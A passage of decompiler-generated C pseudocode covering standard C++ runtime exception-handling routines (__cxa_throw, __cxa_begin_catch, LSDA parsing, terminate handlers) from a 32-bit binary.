0x37f8; // 0x809eccf v1 = (struct struct_45 *)v18; __pthread_mutex_lock_internal((struct struct_3 *)v18, a1, &a2, NULL); int32_t v19 = g98; // 0x809ecdd int32_t v20 = *(int32_t *)(v19 + 0x37f4); // 0x809ecdd g97 = v20; if (g102 > 512) { // 0x809ec4c g101 = 0; // branch -> 0x809ecbf // 0x809ecbf v14 = (struct struct_45 *)(v19 + 0x37f8); __pthread_mutex_unlock_internal(v14); // branch -> 0x809ec54 // 0x809ec54 if (g101 == 0) { // 0x809ecf1 v15 = (struct struct_45 *)std__terminate((int32_t)v14); if (g97 == -1) { // 0x809ecf1 // branch -> 0x809ed03 } else { // 0x809ecfb _Unwind_Resume(&v15->e0, a1, &a2); // branch -> 0x809ed03 } // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } // 0x809ec5c v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4); *v9 = *v9 + 1; memset((int32_t *)g101, (int32_t)g2, 80); v10 = g101; g98 = v5; g101 = v4; g102 = v3; g100 = (int32_t (*)())0x809eccd; return v10 + 80; } v16 = v19; v17 = v20; v13 = (int32_t (*)())0x809ecdd; } // 0x809ec8c g96 = 0; uint32_t v21 = v17; // 0x809ec92 // branch -> 0x809ec9c for (uint32_t i = 0; i < 32; i++) { // 0x809ec9c int32_t v22; // 0x809ecb2 if (v21 % 2 == 0) { uint32_t v23 = i % 32; // 0x809eca5 int32_t v24 = 1; // 0x809eca7 if (v23 != 0) { // if_809eca5_0_true v24 = 1 << v23; // branch -> after_if_809eca5_0 } int32_t v25 = v24 | v17; // 0x809eca7 g97 = v25; *(int32_t *)(v16 + 0x37f4) = v25; int32_t v26 = 512 * g96; // 0x809ecaf g96 = v26; v22 = g98; int32_t v27 = v22 + 0x3828 + v26; // 0x809ecb2 g101 = v27; if (v12 == 0) { // 0x809ec54 if (v27 == 0) { // 0x809ecf1 v15 = (struct struct_45 *)std__terminate((int32_t)v1); if (g97 == -1) { // 0x809ecf1 // branch -> 0x809ed03 // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } // 0x809ecfb _Unwind_Resume(&v15->e0, a1, &a2); // branch -> 0x809ed03 // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } // 0x809ec5c v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4); *v9 = *v9 + 1; memset((int32_t *)g101, (int32_t)g2, 80); v10 = g101; g98 = v5; g101 = v4; g102 = v3; g100 = v13; return v10 + 80; } } else { // 0x809ec92 g96 = i + 1; // PHI copies at the loop end v21 /= 2; // loop 0x809ec9c end continue; } // 0x809ecbf v14 = (struct struct_45 *)(v22 + 0x37f8); v1 = v14; __pthread_mutex_unlock_internal(v14); // branch -> 0x809ec54 // 0x809ec54 if (g101 == 0) { // 0x809ecf1 v15 = (struct struct_45 *)std__terminate((int32_t)v1); if (g97 == -1) { // 0x809ecf1 // branch -> 0x809ed03 // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } // 0x809ecfb _Unwind_Resume(&v15->e0, a1, &a2); // branch -> 0x809ed03 // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } } // 0x809ec4c g101 = 0; if (v12 == 0) { // 0x809ec54 // branch -> 0x809ecf1 } else { // 0x809ecbf v14 = (struct struct_45 *)(v16 + 0x37f8); v1 = v14; __pthread_mutex_unlock_internal(v14); // branch -> 0x809ec54 // 0x809ec54 if (g101 != 0) { // 0x809ec5c v9 = (int32_t *)(__cxa_get_globals(v7, 0, 0, 0, 0) + 4); *v9 = *v9 + 1; memset((int32_t *)g101, (int32_t)g2, 80); v10 = g101; g98 = v5; g101 = v4; g102 = v3; g100 = (int32_t (*)())0x809eccd; return v10 + 80; } } // 0x809ecf1 v15 = (struct struct_45 *)std__terminate((int32_t)v1); if (g97 == -1) { // 0x809ecf1 // branch -> 0x809ed03 } else { // 0x809ecfb _Unwind_Resume(&v15->e0, a1, &a2); // branch -> 0x809ed03 } // 0x809ed03 __cxa_call_unexpected(&v15->e0, v6, a2); return g95; } // Address range: 0x809ed0b - 0x809ed0f int32_t __i686_get_pc_thunk_cx(void) { // 0x809ed0b int32_t result; return result; } // Address range: 0x809ed10 - 0x809edaf int32_t __cxa_begin_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { // 0x809ed10 int32_t v1; int32_t v2 = v1; // bp+44 int32_t v3 = g100; // 0x809ed10 int32_t v4 = g102; // 0x809ed13 int32_t v5 = g101; // 0x809ed14 int32_t v6 = g98; // 0x809ed15 g98 = __i686_get_pc_thunk_bx() + 0x929da; int32_t v7; int32_t v8 = __cxa_get_globals(v7, 0, 0, 0, 0); // 0x809ed24 struct struct_3 * v9 = (struct struct_3 *)v8; // 0x809ed24_7 g102 = v8; int32_t * v10 = (int32_t *)v8; // 0x809ed2b_0 int32_t v11 = *v10; // 0x809ed2b int32_t v12 = a1 - 48; // 0x809ed33 g101 = v12; int32_t v13 = *(int32_t *)(a1 + 4); // 0x809ed39 g97 = v13; int32_t v14 = v13 ^ 0x474e5543; // 0x809ed3e int32_t v15 = *(int32_t *)a1 ^ 0x432b2b00; // 0x809ed44 g96 = v14 | v15; if (v15 != v14) { // 0x809ed4d g95 = v11; if (v11 == 0) { // 0x809ed54 *v10 = v12; g98 = v6; g101 = v5; g102 = v4; g100 = v3; return 0; } int32_t v16 = std__terminate(v1); // 0x809ed92 if (g97 != -1) { // 0x809ed9c v2 = v16; _Unwind_Resume(&v2, NULL, NULL); // branch -> 0x809eda4 } // 0x809eda4 v2 = v16; __cxa_call_unexpected(&v2, 0, 0); return g95; } int32_t * v17 = (int32_t *)(a1 - 28); // 0x809ed60_0 int32_t v18 = *v17; // 0x809ed60 g95 = v18; int32_t v19 = v18 + 1; // 0x809ed63 g97 = v19; if (v18 < 0) { int32_t v20 = 1 - v18; // 0x809ed8e g97 = v20; v19 = v20; // branch -> 0x809ed6a } // 0x809ed6a *v17 = v19; v9->e1--; int32_t v21; // 0x809ed7e if (v11 != g101) { // 0x809ed76 g95 = v11; *(int32_t *)(g101 + 16) = v11; *(int32_t *)g102 = g101; v21 = g101; // branch -> 0x809ed7e } else { v21 = v11; } // 0x809ed7e int32_t v22; g98 = v22; int32_t v23; g101 = v23; int32_t v24; g102 = v24; int32_t * v25; g100 = (int32_t)v25; return *(int32_t *)(v21 + 40); } // Address range: 0x809edb0 - 0x809ee4b int32_t __cxa_end_catch(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10) { int32_t v1 = g100; // 0x809edb0 int32_t v2 = g102; // 0x809edb3 int32_t v3 = g101; // 0x809edb4 int32_t v4 = g98; // 0x809edb5 g98 = __i686_get_pc_thunk_bx() + 0x9293a; int32_t result = __cxa_get_globals_fast(); // 0x809edc4 g102 = result; int32_t * v5 = (int32_t *)result; // 0x809edcb_0 int32_t v6 = *v5; // 0x809edcb g101 = v6; if (v6 == 0) { // 0x809edf9 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return result; } int32_t v7 = *(int32_t *)(v6 + 52) ^ 0x474e5543; // 0x809edd9 int32_t v8 = *(int32_t *)(v6 + 48) ^ 0x432b2b00; // 0x809eddf g96 = v7 | v8; if (v8 != v7) { // 0x809ede8 *v5 = 0; int32_t v9 = g101 + 48; // 0x809edee g95 = v9; int32_t result2 = _Unwind_DeleteException(v9); // branch -> 0x809edf9 // 0x809edf9 g98 = v4; g101 = v3; g102 = v2; g100 = v1; return result2; } int32_t * v10 = (int32_t *)(v6 + 20); // 0x809ee01_0 int32_t result5 = *v10; // 0x809ee01 int32_t v11; // 0x809ee37 if (result5 < 0) { // 0x809ee35 v11 = result5 + 1; if (v11 == 0) { int32_t result3 = *(int32_t *)(v6 + 16); // 0x809ee3c *v5 = result3; *(int32_t *)(g101 + 20) = v11; // branch -> 0x809ee15 // 0x809ee15 g98 = a3; g101 = a4; g102 = a5; g100 = (int32_t)a6; return result3; } } else { int32_t v12 = result5 - 1; // 0x809ee08 g97 = v12; if (v12 == 0) { // 0x809ee1d *v5 = *(int32_t *)(v6 + 16); int32_t v13 = g101 + 48; // 0x809ee22 g95 = v13; int32_t result4 = _Unwind_DeleteException(v13); // 0x809ee28 g98 = a10; int32_t v14; g101 = v14; int32_t v15; g102 = v15; int32_t * v16; g100 = (int32_t)v16; return result4; } // 0x809ee10 if (v12 < 0) { // 0x809ee46 int32_t v17; std__terminate(v17); return g95; } v11 = v12; } // 0x809ee12 *v10 = v11; // branch -> 0x809ee15 // 0x809ee15 g98 = a3; g101 = a4; g102 = a5; g100 = (int32_t)a6; return result5; } // Address range: 0x809f030 - 0x809f065 int32_t __cxa_get_globals_fast(void) { int32_t v1 = __i686_get_pc_thunk_bx(); // 0x809f037 int32_t key; // 0x809f052 if (*(int32_t *)(v1 + 0x92d78) != 0) { // 0x809f052 key = *(int32_t *)(v1 + 0x99ee4); pthread_getspecific(key); // branch -> 0x809f060 } else { key = v1 + 0x99ee8; } // 0x809f060 return key; } // Address range: 0x809f066 - 0x809f0bf int32_t get_globals_init_once(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g100; // 0x809f066 int32_t v2 = g98; // 0x809f069 int32_t v3 = __i686_get_pc_thunk_bx(); // 0x809f06d int32_t v4 = v3 + 0x92686; // 0x809f072 if (*(int32_t *)(v3 + 0x92d46) == 0) { // 0x809f09e *(int32_t *)(v4 + 1724) = 0; g98 = v2; g100 = v1; return 0; } int32_t v5 = v3 + 0x99eba; // 0x809f08c g95 = v5; int32_t result = pthread_once((int32_t *)v5, (void (*)(int32_t *))(v3 - 128)); // 0x809f095 if (result != 0) { // 0x809f09e *(int32_t *)(v4 + 1724) = 0; g98 = v2; g100 = v1; return result; } uint32_t v6 = *(int32_t *)(v4 + 1724); // 0x809f0ae g96 = v6; if (v6 >= 0) { // 0x809f0b8 int32_t v7; g98 = v7; int32_t v8; g100 = v8; return 0; } // 0x809f09e *(int32_t *)(v4 + 1724) = 0; g98 = v2; g100 = v1; return 0; } // Address range: 0x809f0c0 - 0x809f17f int32_t __cxa_get_globals(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t v1 = g100; // 0x809f0c0 int32_t v2 = g101; // 0x809f0c3 int32_t v3 = g98; // 0x809f0c4 int32_t v4 = __i686_get_pc_thunk_bx(); // 0x809f0c8 int32_t v5 = v4 + 0x9262b; // 0x809f0cd g98 = v5; int32_t v6 = *(int32_t *)(v4 + 0x92ce7); // 0x809f0d3 if (v6 == 0) { // 0x809f0fb g98 = a4; g101 = a5; int32_t * v7; g100 = (int32_t)v7; return v4 + 0x99e57; } if (v6 < 0) { // 0x809f10a get_globals_init_once((int32_t)NULL, 0, 0); int32_t v8 = g98; // 0x809f10f int32_t v9 = *(int32_t *)(v8 + 1724); // 0x809f115 g95 = v9; if (v9 == 0) { // 0x809f0f2 g98 = v3; g101 = v2; g100 = v1; return v8 + 0x782c; } v5 = v8; } int32_t key = *(int32_t *)(v5 + 0x7828); // 0x809f0de g95 = key; pthread_getspecific(key); int32_t result = g95; // 0x809f0ec if (result != 0) { // 0x809f0f2 g98 = v3; g101 = v2; g100 = v1; return result; } struct struct_45 * v10 = (struct struct_45 *)8; // bp+28 int32_t v11 = __libc_malloc((int32_t *)8, 0, 0); // 0x809f128 int32_t v12 = g95; // 0x809f12d g101 = v12; int32_t * value; // 0x809f133_0 if (v12 != 0) { // 0x809f133 value = (int32_t *)v12; struct struct_45 * key2 = (struct struct_45 *)*(int32_t *)(g98 + 0x7828); // 0x809f13d_0 v10 = key2; if (pthread_setspecific(key2, value) == 0) { // 0x809f149 *(int32_t *)g101 = 0; *(int32_t *)(g101 + 4) = 0; int32_t result2 = g101; // 0x809f0f2 // branch -> 0x809f0f2 // 0x809f0f2 g98 = v3; g101 = v2; g100 = v1; return result2; } } struct struct_45 * v13 = (struct struct_45 *)std__terminate((int32_t)v10); // 0x809f158_4 if (v11 == -1) { // 0x809f158 // branch -> 0x809f16a } else { // 0x809f162 _Unwind_Resume(&v13->e0, value, NULL); // branch -> 0x809f16a } // 0x809f16a __cxa_call_unexpected(&v13->e0, (int32_t)value, 0); return g95; } // Address range: 0x809f180 - 0x809f1f0 int32_t base_of_encoded_value(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { int32_t v1 = g100; // 0x809f180 int32_t v2 = g98; // 0x809f183 g98 = __i686_get_pc_thunk_bx() + 0x9256c; int32_t v3 = g95; // 0x809f192 if (v3 == -1) { // 0x809f1bb // branch -> 0x809f1bd // 0x809f1bd g98 = v2; g100 = v1; return 0; } uint32_t v4 = v3 & 112; // 0x809f196 if (v4 == 32) { int32_t v5 = g97; int32_t result = _Unwind_GetTextRelBase(&v5); // 0x809f1c6 g98 = (int32_t)a1; g100 = (int32_t)a2; return result; } // 0x809f19e if (v4 < 33) { // 0x809f1b7 if (v4 != 0) { // 0x809f1d1 if (v4 != 16) { // 0x809f1d6 abort(); // UNREACHABLE } } // 0x809f1bb // branch -> 0x809f1bd // 0x809f1bd g98 = v2; g100 = v1; return 0; } // 0x809f1a0 int32_t result2; // 0x809f1de1 if (v4 == 64) { // 0x809f1db a3 = g97; result2 = _Unwind_GetRegionStart(&a3); // branch -> 0x809f1bd // 0x809f1bd g98 = v2; g100 = v1; return result2; } // 0x809f1a5 if (v4 == 80) { // 0x809f1bb // branch -> 0x809f1bd // 0x809f1bd g98 = v2; g100 = v1; return 0; } // 0x809f1aa if (v4 != 48) { // 0x809f1b2 abort(); // UNREACHABLE } // 0x809f1e5 a3 = g97; _Unwind_GetDataRelBase(&a3); // branch -> 0x809f1bd // 0x809f1bd g98 = v2; g100 = v1; return result2; } // Address range: 0x809f1f2 - 0x809f231 int32_t read_uleb128(int32_t * a1) { int32_t v1 = g95; // 0x809f1fa *(int32_t *)g97 = (int32_t)(*(char *)v1 % 128); g95 = v1 + 1; return 0; } // Address range: 0x809f2a0 - 0x809f355 int32_t read_encoded_value_with_base(int32_t * a1, int32_t * a2, int32_t * a3, int32_t a4) { int32_t v1 = g101; // 0x809f2a4 int32_t v2 = __i686_get_pc_thunk_bx(); // 0x809f2a9 int32_t v3 = g96; // 0x809f2b7 g101 = v3; uint32_t v4 = g95; // 0x809f2b9 if (v4 == 80) { // 0x809f2dd g97 = g5; g96 = v3 + 7 & -4; g95 = (int32_t)a1; *a1 = g5; g101 = v1; return g96; } // 0x809f2bf g95 = v4 % 256; uint32_t v5 = v4 % 16; // 0x809f2c5 if (v5 >= 13) { // 0x809f2cd abort(); // UNREACHABLE } int32_t v6 = *(int32_t *)(v2 + 0x687fa + 4 * v5); // 0x809f2d2 g95 = v6 + v2 + 0x9244a; return unknown_81316f8(); } // Address range: 0x809f356 - 0x809f44f int32_t parse_lsda_header(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) { struct struct_103 * v1 = NULL; // bp-44 int32_t v2 = g100; // 0x809f356 int32_t v3 = g102; // 0x809f359 int32_t v4 = g101; // 0x809f35a int32_t v5 = g98; // 0x809f35b g98 = __i686_get_pc_thunk_bx() + 0x92394; int32_t v6 = g95; // 0x809f36a g101 = v6; int32_t v7 = g97; struct struct_103 * v8 = (struct struct_103 *)g96; // 0x809f36e_0 int32_t v9 = 0; // 0x809f382 if (v6 != 0) { struct struct_103 * v10 = (struct struct_103 *)v6; // 0x809f377_0 v1 = v10; _Unwind_GetRegionStart(&v10->e0); v9 = g95; // branch -> 0x809f38f } // 0x809f38f v8->e0 = v9; int32_t v11 = (int32_t)*(char *)v7; // 0x809f384 g102 = v7 + 1; int32_t v12 = v11; // bp-36 g97 = g101; g95 = v11; base_of_encoded_value(&v1->e0, &v8->e0, v11, 0, 0, 0); struct struct_103 * v13 = (struct struct_103 *)((int32_t)v8 + 4); // 0x809f3a5_0 v1 = v13; g96 = g102; g95 = v11; int32_t v14 = read_encoded_value_with_base(&v13->e0, &v8->e0, &v12, 0); // 0x809f3af g102 = v14; unsigned char v15 = *(char *)v14; // 0x809f3b6 g97 = (int32_t)v8; v8->e5 = v15; int32_t v16 = g102 + 1; // 0x809f3bf int32_t v17 = v16; int32_t v18; if (((int32_t)v15 + 1) % 256 == 0) { // 0x809f419 v8->e3 = 0; unsigned char v19 = *(char *)v17; // 0x809f426 g95 = v19; g97 = (int32_t)v8; v8->e5 = v19; int32_t result = v17 + 1; // 0x809f42f read_uleb128(&NULL->e0); v8->e4 = result + v18; g98 = a7; int32_t v20; g101 = v20; int32_t v21; g102 = v21; int32_t v22; g100 = v22; return result; } // 0x809f3c6 g95 = v16; read_uleb128(&v1->e0); int32_t v23 = g95; // 0x809f3d2 v17 = v23; v8->e3 = v23 + v18; unsigned char v24 = *(char *)v17; // 0x809f3dd g95 = v24; g97 = (int32_t)v8; v8->e5 = v24; int32_t result2 = v17 + 1; // 0x809f3e6 read_uleb128(&v1->e0); v8->e4 = result2 + v18; g98 = v5; g101 = v4; g102 = v3; g100 = v2; return result2; } // Address range: 0x809f450 - 0x809f4e7 int32_t get_ttype_entry(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) { int32_t v1 = g100; // 0x809f450 int32_t v2 = g102; // 0x809f453 int32_t v3 = g101; // 0x809f454 int32_t v4 = g98; // 0x809f455 g98 = __i686_get_pc_thunk_bx() + 0x9229a; int32_t v5 = g95; // 0x809f464 g101 = v5; unsigned char v6 = *(char *)(v5 + 20); // 0x809f466 int32_t v7 = v6; // 0x809f466 g102 = v7; unsigned char v8 = v6 % 8; g95 = v8; int32_t * v9; if (v8 == 2) { // 0x809f4b7 g96 = *(int32_t *)(v5 + 12) - 2 * g97; g97 = *(int32_t *)(v5 + 8); g95 = v7; read_encoded_value_with_base(v9, &a1, &a2, a3); int32_t v10; g98 = v10; int32_t v11; g101 = v11; int32_t v12; g102 = v12; int32_t v13; g100 = v13; return (int32_t)v9; } // 0x809f478 if (v8 < 3) { // 0x809f48c if (v8 != 0) { // 0x809f487 abort(); // UNREACHABLE } // 0x809f492 // branch -> 0x809f497 // 0x809f497 g96 = *(int32_t *)(v5 + 12) - 4 * g97; g97 = *(int32_t *)(v5 + 8); g95 = v7; read_encoded_value_with_base(v9, NULL, NULL, 0); g98 = v4; g101 = v3; g102 = v2; g100 = v1; return (int32_t)v9; } // 0x809f47a if (v8 == 3) { // 0x809f492 // branch -> 0x809f497 // 0x809f497 g96 = *(int32_t *)(v5 + 12) - 4 * g97; g97 = *(int32_t *)(v5 + 8); g95 = v7; read_encoded_value_with_base(v9, NULL, NULL, 0); g98 = v4; g101 = v3; g102 = v2; g100 = v1; return (int32_t)v9; } // 0x809f482 if (v8 != 4) { // 0x809f487 abort(); // UNREACHABLE } // 0x809f4da // branch -> 0x809f497 // 0x809f497 g96 = *(int32_t *)(v5 + 12) - 8 * g97; g97 = *(int32_t *)(v5 + 8); g95 = v7; read_encoded_value_with_base(v9, NULL, NULL, 0); g98 = v4; g101 = v3; g102 = v2; g100 = v1; return (int32_t)v9; } // Address range: 0x809f4e8 - 0x809f547 int32_t get_adjusted_ptr(struct struct_103 * a1, int32_t a2) { int32_t v1 = g102; // 0x809f4eb int32_t v2 = g101; // 0x809f4ec uint32_t v3 = g99; // 0x809f4ed g1 = v3 < 48; g103 = v3 == 48; g102 = g95; int32_t v4 = g97; // 0x809f4f2 g101 = v4; int32_t v5 = g96; // 0x809f4f4 int32_t v6 = *(int32_t *)v5; // 0x809f4f7 int32_t v7 = *(int32_t *)v4; // 0x809f4fc g95 = v7; int32_t v8 = *(int32_t *)(v7 + 8); // 0x809f501 int32_t * v9; ((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v8)(v4, 0, (int32_t)v9, 0, 0, 0); int32_t v10 = g95; // 0x809f504 g1 = false; g103 = 0x1000000 * v10 == 0; int32_t v11 = v6; if (v10 != 0) { // 0x809f508 v11 = *(int32_t *)v6; // branch -> 0x809f510 } int32_t v12 = g102; // 0x809f510 int32_t v13 = *(int32_t *)v12; // 0x809f510 g95 = v13; ((int32_t (*)(int32_t, int32_t, int32_t))*(int32_t *)(v13 + 16))(v12, g101, v11); int32_t result; // 0x809f53e if (g95 == 0) { // 0x809f510 result = g97; // branch -> 0x809f53e } else { // 0x809f531 g95 = v11; *(int32_t **)v5 = (int32_t *)v11; g97 = 1; result = 1; // branch -> 0x809f53e } // 0x809f53e g101 = v2; g102 = v1; return result; } // Address range: 0x809f548 - 0x809f5a5 int32_t check_exception_spec(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { struct struct_103 * v1 = NULL; // bp-44 int32_t v2 = g100; // 0x809f548 int32_t v3 = g102; // 0x809f54b int32_t v4 = g101; // 0x809f54c int32_t v5 = g95; // 0x809f550 g102 = v5; int32_t v6 = g97; // 0x809f552 int32_t v7 = *(int32_t *)(v5 + 12) - a1 - 1; // 0x809f55e g101 = v7; int32_t v8; g97 = v8; g95 = v7; read_uleb128(&v1->e0); g101 = g95; g97 = v8; if (v8 == 0) { // 0x809f59c g101 = a8; int32_t v9; g102 = v9; int32_t v10; g100 = v10; return 0; } while (true) { // 0x809f57a g95 = g102; get_ttype_entry((int32_t)v1, v8, v6, g96, 0, 0); g97 = v6; if (get_adjusted_ptr(v1, v8) != 0) { // 0x809f590 g101 = v4; g102 = v3; g100 = v2; return 1; } // 0x809f57a g97 = v8; g95 = g101; read_uleb128(&v1->e0); g101 = g95; g97 = v8; // branch -> 0x809f57a } } // Address range: 0x809f5a6 - 0x809f69f int32_t __cxa_call_unexpected(int32_t * a1, int32_t a2, int32_t a3) { // 0x809f5a6 g98 = __i686_get_pc_thunk_bx() + 0x92144; int32_t v1 = (int32_t)a1; // 0x809f5ba g101 = v1; __cxa_begin_catch(v1, 0, 0, 0, 0, 0); int32_t v2 = g101; // 0x809f5c5 g101 = v2 - 48; g102 = *(int32_t *)(v2 - 16); int32_t v3 = *(int32_t *)(v2 - 24); // 0x809f5cb int32_t v4 = *(int32_t *)(v2 - 36); // 0x809f5d1 int32_t * v5 = (int32_t *)v4; // 0x809f5d4_0 int32_t v6 = *(int32_t *)(v2 - 40); // 0x809f5dd g95 = v6; int32_t v7 = _ZN10__cxxabiv112__unexpectedEPFvvE(v6, 0); // 0x809f5e3 __cxa_begin_catch(v7, 0, 0, 0, 0, 0); int32_t v8 = *(int32_t *)__cxa_get_globals_fast(); // 0x809f5f5 g101 = v8; int32_t v9 = v8 + 80; // 0x809f5f7 g95 = v9; g97 = g102; parse_lsda_header(v7, 0, 0, 0, 0, 0, 0); g96 = v9; g97 = *(int32_t *)g101; int32_t v10; g95 = v10; int32_t * v11 = (int32_t *)v3; // 0x809f68d_31 int32_t v12; // bp-84 int32_t v13; // bp-88 if (check_exception_spec(v3, 0, 0, 0, 0, 0, 0, v10) == 0) { int32_t v14 = *(int32_t *)(g98 - 12); // 0x809f625 g101 = v14; g96 = 0; g97 = v14; g95 = v10; if (check_exception_spec(v3, 0, 0, 0, 0, 0, 0, v10) != 0) { int32_t v15 = __cxa_allocate_exception((int32_t *)4, 0); // 0x809f648 *(int32_t *)v15 = *(int32_t *)(g98 - 92) + 8; int32_t v16 = *(int32_t *)(g98 - 36); // 0x809f658 v12 = v16; int32_t v17 = g101; // 0x809f662 v13 = v17; g101 = __cxa_throw(v15, v17, v16, 0, 0); __cxa_end_catch(v15, v17, v16, 0, 0, NULL, 0, v10, v3, v4); __cxa_end_catch(v15, v17, v16, 0, 0, NULL, 0, v10, v3, v4); _Unwind_Resume((int32_t *)g101, &v13, &v12); // branch -> 0x809f682 } // 0x809f682 g95 = v4; _ZN10__cxxabiv111__terminateEPFvvE(v5, v13, v12); v11 = v5; // branch -> 0x809f68d } // 0x809f68d __cxa_rethrow((int32_t)v11, v13, v12); return g95; } // Address range: 0x809fa9c - 0x809fac3 int32_t _ZN10__cxxabiv111__terminateEPFvvE(int32_t * a1, int32_t a2, int32_t a3) { uint32_t v1 = __i686_get_pc_thunk_bx(); // 0x809faa3 g1 = v1 > 0xfff6e3af; int32_t v2 = v1 + 0x91c50; // 0x809faa8 g103 = v2 == 0; g98 = v2; ((int32_t (*)())a1)(); abort(); // UNREACHABLE } // Address range: 0x809fac4 - 0x809fae1 int32_t std__terminate(int32_t a1) { int32_t v1 = *(int32_t *)*(int32_t *)(__i686_get_pc_thunk_bx() + 0x91c10); // 0x809fadc g95 = v1; _ZN10__cxxabiv111__terminateEPFvvE((int32_t *)v1, g98, g100); return g95; } // Address range: 0x809fae6 - 0x809fafb int32_t _ZN10__cxxabiv112__unexpectedEPFvvE(int32_t a1, int32_t a2) { uint32_t v1 = __i686_get_pc_thunk_bx(); // 0x809faed g1 = v1 > 0xfff6e3f9; int32_t v2 = v1 + 0x91c06; // 0x809faf2 g103 = v2 == 0; g98 = v2; ((int32_t (*)())a1)(); int32_t v3; std__terminate(v3); return g95; } // Address range: 0x809fbb0 - 0x809fc15 int32_t __cxa_throw(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5) { int32_t v1 = __i686_get_pc_thunk_bx() + 0x91b3b; int32_t v2 = a1 - 80; // 0x809fbc6 *(int32_t *)v2 = a2; *(int32_t *)(v2 + 4) = a3; int32_t v3 = *(int32_t *)*(int32_t *)(v1 - 8); // 0x809fbdb *(int32_t *)(v2 + 8) = v3; int32_t v4 = *(int32_t *)*(int32_t *)(v1 - 24); // 0x809fbe6 *(int32_t *)(v2 + 12) = v4; *(int32_t *)(v2 + 48) = 0x432b2b00; *(int32_t *)(v2 + 52) = 0x474e5543; *(int32_t *)(v2 + 56) = v1 - 0x91b94; int32_t v5 = a1 - 32; _Unwind_RaiseException(&v5, NULL, 0, NULL); int32_t v6 = g101; // 0x809fc0d v5 = v6; __cxa_begin_catch(v6, 0, 0, 0, g98, g101); std__terminate(v5); return g95; } // Address range: 0x809fc1a - 0x809fc7b int32_t __cxa_rethrow(int32_t a1, int32_t a2, int32_t a3) { int32_t v1 = g102; // 0x809fc1d int32_t v2 = g101; // 0x809fc1e int32_t v3 = g98; // 0x809fc1f g98 = __i686_get_pc_thunk_bx() + 0x91ad0; int32_t v4; int32_t v5 = __cxa_get_globals(v4, 0, 0, v3, v2); // 0x809fc2e struct struct_104 * v6 = (struct struct_104 *)v5; // 0x809fc2e_7 g101 = v5; g102 = *(int32_t *)v5; v6->e1++; if (g102 == 0) { lab_0x682dda0: // 0x809fc6f std__terminate(v4); // branch -> 0x809fc74 } else { // 0x809fc3f if ((v6->e5 ^ 0x432b2b00) != (v6->e6 ^ 0x474e5543)) { // 0x809fc56 *(int32_t *)g101 = 0; // branch -> 0x809fc5c lab_0x6830380: // 0x809fc5c _Unwind_Resume_or_Rethrow(g102 + 48, 0, 0, v3, v2); int32_t v7 = g101; // 0x809fc67 __cxa_begin_catch(v7, 0, 0, v3, v2, v1); v4 = v7; // branch -> 0x809fc6f goto lab_0x682dda0; } // 0x809fc74 v6->e3 = -v6->e3; // branch -> 0x809fc5c goto lab_0x6830380; } // 0x809fc74 v6->e3 = -v6->e3; // branch -> 0x809fc5c goto lab_0x6830380; } // Address range: 0x809fd2c - 0x809fd99 int32_t __cxxabiv1__acquire_1(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t * a6) { int32_t v1 = g100; // 0x809fd2c int32_t v2 = g98; // 0x809fd2f g98 = __i686_get_pc_thunk_bx() + 0x919c0; int32_t v3 = g95; // 0x809fd3e g96 = v3; if (*(char *)v3 != 0) { // 0x809fd5e g98 = a5; g100 = (int32_t)a6; return 0; } char * v4 = (char *)(v3 + 1); // 0x809fd45_0 int32_t v5 = (int32_t)*v4; // 0x809fd45 g97 = v5; int32_t v6 = v5 + 1; // 0x809fd49 g95 = v6; *v4 = (char)v6; if (g97 == 0) { // 0x809fd58 g98 = v2; g100 = v1; return 1; } int32_t v7 = __cxa_allocate_exception((int32_t *)4, 0); // 0x809fd6d *(int32_t *)v7 = *(int32_t *)(g98 - 88) + 8; int32_t v8 = g98; // 0x809fd7d int32_t v9 = *(int32_t *)(v8 - 64); // 0x809fd87 __cxa_throw(v7, v9, *(int32_t *)(v8 - 20), 0, 0); return g95; } // Address range: 0x809fd9a - 0x809fdc9 int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__lock(void) { struct struct_88 * v1 = (struct struct_88 *)g100; // bp-4 struct struct_10 * v2 = (struct struct_10 *)g98; // bp-8 int32_t v3 = __i686_get_pc_thunk_bx(); // 0x809fda1 int32_t result; // 0x809fdbf if (*(int32_t *)(v3 + 0x92056) != 0) { struct struct_3 * v4 = (struct struct_3 *)*(int32_t *)(v3 + 0x91922); // 0x809fdbc_0 result = __pthread_mutex_lock_internal(v4, (int32_t *)v2, &v1->e0, &NULL->e0); // branch -> 0x809fdc4 } else { result = 0; } // 0x809fdc4 g98 = (int32_t)v2; g100 = (int32_t)v1; return result; } // Address range: 0x809fdca - 0x809fdf9 int32_t _GLOBAL__N_____________libstdc___v3_libsupc___guard_cc_00000000_2A9B2FC0__static_mutex__unlock(void) { int32_t v1 = __i686_get_pc_thunk_bx(); // 0x809fdd1 int32_t v2 = *(int32_t *)(v1 + 0x92026); // 0x809fddc g97 = v2; int32_t result; // 0x809fdef if (v2 != 0) { struct struct_45 * v3 = (struct struct_45 *)*(int32_t *)(v1 + 0x918f2); // 0x809fdec_0 result = __pthread_mutex_unlock_internal(v3); // branch -> 0x809fdf4 } // 0x809fdf4 return result; } // Address range: 0x809fdfa - 0x809fe6d int32_t 